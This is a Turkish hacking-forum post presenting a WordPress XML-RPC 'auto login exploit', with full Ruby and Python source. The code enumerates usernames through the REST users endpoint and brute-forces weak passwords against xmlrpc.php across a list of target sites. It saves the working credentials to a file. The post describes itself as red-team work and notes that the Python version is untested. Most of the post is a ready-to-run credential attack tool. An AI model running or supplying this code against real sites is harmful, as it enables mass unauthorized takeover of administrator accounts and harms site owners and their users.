Teşekkür ederim abiElinize Sağlık
Eline sağlık
Merhaba ben Anka Red Team'den Bunjo, bu konuda AR-GE ekibinden @Suppressor ile
Ruby ve Python programlama dillerini kullanarak yazmış olduğumuz WordPress XMLRPC Auto Login Exploitini anlatacağız.
XMLRPC Nedir?
XML-RPC (XML Remote Procedure Call), uzaktan prosedür çağrılarını (RPC) XML formatında iletmek için kullanılan bir iletişim protokolüdür.
XML-RPC, istemci ve sunucu arasında veri alışverişi sağlar ve farklı platformlar arasında programlar arası iletişimi kolaylaştırır.
XML-RPC'nin temel özellikleri şunlardır:
XML Tabanlı: Veriler XML formatında gönderilir ve alınır. Bu, verilerin insanlar ve makineler arasında anlaşılabilir olmasını sağlar.
Platform Bağımsız: XML-RPC, farklı programlama dilleri ve platformlar arasında iletişimi kolaylaştırır. Bu sayede birçok farklı sistem birbirleriyle haberleşebilir.
HTTP Protokolü Üzerinde Çalışır: Genellikle XML-RPC çağrıları, HTTP üzerinden iletilir. Bu, web tabanlı uygulamaların ve hizmetlerin XML-RPC aracılığıyla birbirleriyle iletişim kurabilmesini sağlar.
Basit ve Hafif: XML-RPC, basit bir protokol olup, karmaşık veri yapılarına ve yönetimine ihtiyaç duymaz. Bu da uygulamanın hafif olmasını sağlar.
Sunucu ve İstemci: XML-RPC protokolü, sunucu ve istemci arasında iki yönlü iletişimi destekler. İstemci, sunucuya bir RPC çağrısı gönderir ve sunucu da bu çağrıya yanıt verir.
XML-RPC, genellikle dağıtık sistemlerde, özellikle web hizmetleri gibi alanlarda kullanılır. Birçok popüler programlama dilinde XML-RPC istemcileri ve sunucuları bulunmaktadır. Bu sayede, farklı dillerde yazılmış sistemlerin birbiriyle iletişim kurması kolaylaşır.
XMLRPC Auto Login Exploit - Ruby
Ruby:require 'net/http' require 'uri' require 'optparse' require 'eventmachine' require 'json' class XMLRPC_WP def initialize @headers = { 'Connection' => 'keep-alive', 'User-Agent' => 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36', 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'referer' => 'www.google.com' } @params = { input_file: nil, output_file: 'output.txt' } @threads = [] end def exploit(url_exploit) begin url = URI.parse(url_exploit) http = Net::HTTP.new(url.host, url.port) http.use_ssl = (url.scheme == "https") request = Net::HTTP::Get.new("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users", @headers) response_exploit = http.request(request) if response_exploit.body.include?('gravatar.com') usernames = JSON.parse(response_exploit.body).map { |user| user['name'] } if usernames.any? usernames.each do |username| pass = [ username + username, username, username + '123', username + '1234', "admin", "root", "password", "pass" ] pass.each do |password| xmlrpc_payload = <<-XMLRPC <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>#{username}</value></param> <param><value>#{password}</value></param> </params> </methodCall> XMLRPC begin request = Net::HTTP::Post.new("#{url.scheme}://#{url.host}/xmlrpc.php", @headers) request.body = xmlrpc_payload post_load = http.request(request) if post_load.body.include?('blogName') puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Users Found".green) log_checker(url_exploit, username, password) else puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)".red) return end rescue StandardError => err puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red) rescue Net::OpenTimeout, Net::ReadTimeout => err puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red) end end end else puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)".red) end else puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)".red) return end rescue StandardError => err puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red) rescue Net::OpenTimeout, Net::ReadTimeout => err puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red) end end def log_checker(url_check, user, password) url = URI.parse(url_check) url.path = "/xmlrpc.php" http = Net::HTTP.new(url.host, url.port) http.use_ssl = (url.scheme == "https") request = Net::HTTP::Post.new(url.path) request.set_form_data( 'log' => user, 'pwd' => password, 'wp-submit' => 'Log In', ) request['Cookie'] = 'testcookie=1' response = http.request(request) if response.code == '302' if response['location'].include?('admin') File.open(@params[:output_file], "a+") do |file| file.puts("#{url.scheme}://#{url.host}/wp-login.php##{user}@#{password}") end end else puts("#{url.scheme}://#{url.host}/xmlrpc.php --> Not Vuln".red) end end def print_help help_text = <<-'HELP_TEXT' USAGE: ruby exploit.rb [options] OPTIONS: -i, --input_file INPUT_FILE: Define the path to the URL file. -o, --output_file OUTPUT_FILE: Define the name of the output log file. HELP_TEXT puts(help_text.magenta) end def parse_lines(lines) lines.each do |line| exploit(line.strip) end end def parser_options begin OptionParser.new do |parser| parser.on("-i", "--input_file INPUT_FILE") do |input_file| if File.exist?(input_file) @params[:input_file] = input_file else STDERR.puts("Not Found: #{input_file}".red) exit(1) end end parser.on("-o", "--output_file OUTPUT_FILE") do |output_file| @params[:output_file] = output_file end end.parse! rescue Exception => err_parser STDERR.puts("Error: #{err_parser}") end end def main begin unless @params[:input_file].nil? lines = File.readlines(@params[:input_file]) lines.each_slice(20) do |line_group| @threads << Thread.new{parse_lines(line_group)} end @threads.each(&:join) puts("Exploit Completed".magenta) EM.stop else print_help EM.stop end rescue StandardError return EM.stop end end end class String def red "\e[31m#{self}\e[0m" end def green "\e[32m#{self}\e[0m" end def magenta "\e[35m#{self}\e[0m" end end EM.run do xmlrpc = XMLRPC_WP.new xmlrpc.parser_options xmlrpc.main end
XMLRPC Auto Login Exploit - Python
Python:import http.client import urllib.parse import json import ssl class XMLRPC_WP: def __init__(self): self.headers = { 'Connection': 'keep-alive', 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'referer': 'www.google.com' } self.params = { 'input_file': None, 'output_file': 'output.txt' } self.threads = [] def exploit(self, url_exploit): try: url = urllib.parse.urlparse(url_exploit) conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context()) conn.request("GET", f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users", headers=self.headers) response_exploit = conn.getresponse() data = response_exploit.read().decode('utf-8') if 'gravatar.com' in data: users = json.loads(data) usernames = [user['name'] for user in users] if usernames: for username in usernames: passwords = [ username + username, username, username + '123', username + '1234', "admin", "root", "password", "pass" ] for password in passwords: xmlrpc_payload = f""" <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>{username}</value></param> <param><value>{password}</value></param> </params> </methodCall> """ try: conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context()) conn.request("POST", f"{url.scheme}://{url.hostname}/xmlrpc.php", body=xmlrpc_payload, headers=self.headers) post_load = conn.getresponse() data = post_load.read().decode('utf-8') if 'blogName' in data: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Users Found") self.log_checker(url_exploit, username, password) else: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)") return except Exception as e: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}") else: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)") else: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)") return except Exception as e: print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}") def log_checker(self, url_check, user, password): try: url = urllib.parse.urlparse(url_check) conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context()) params = urllib.parse.urlencode({'log': user, 'pwd': password, 'wp-submit': 'Log In'}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": "testcookie=1"} conn.request("POST", url.path, params, headers) response = conn.getresponse() if response.status == 302 or response.status == 200: if 'admin' in response.getheader('location'): with open(self.params['output_file'], "a+") as file: file.write(f"{url.scheme}://{url.hostname}/wp-login.php#{user}@{password}\n") else: print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln") except Exception as e: print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln: {e}") def print_help(self): help_text = """ USAGE: python exploit.py [options] OPTIONS: -i, --input_file INPUT """ print(help_text) if __name__ == "__main__": xmlrpc = XMLRPC_WP() xmlrpc.print_help()
Python kodu test edilmemiştir.
Exploit Açıklaması
Kullanıcıdan "-i" parametresi ile URL listesi alınır.
Alınan bu URL listesi 20'ye bölünür ve satır grupları oluşturulup exploit fonksiyonunu çağıracak olan parçacıklara ayrıştırılır.
Exploit fonksiyonu gelen bu URL'de "/?rest_route=/wp/v2/users" dizinine gider.
Örnek:
Burada bulunan name: username kısmından username verisi çekilmeye çalışılır.
Username çekilirse programın içine örnek olarak koyulan şifre kombinasyonları ile sitede
bulunan "xmlrpc.php" dosyasına bir post isteği yapılarak kullanıcının yazmış olduğu blog varsa çekilmeye çalışır.
Eğer bir blog çekilirse exploit işlemi başarıyla tamamlanmış olur.
https:/ /site.com/wp-login.php#username@password
şeklinde kullanıcının "-o" parametresi ile vermiş olduğu dosya ismiyle kayıt edilir.
Github adresi.
Okuyan herkese teşekkür ederim.
Eksik olma Carlon sağolEline sağlık
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.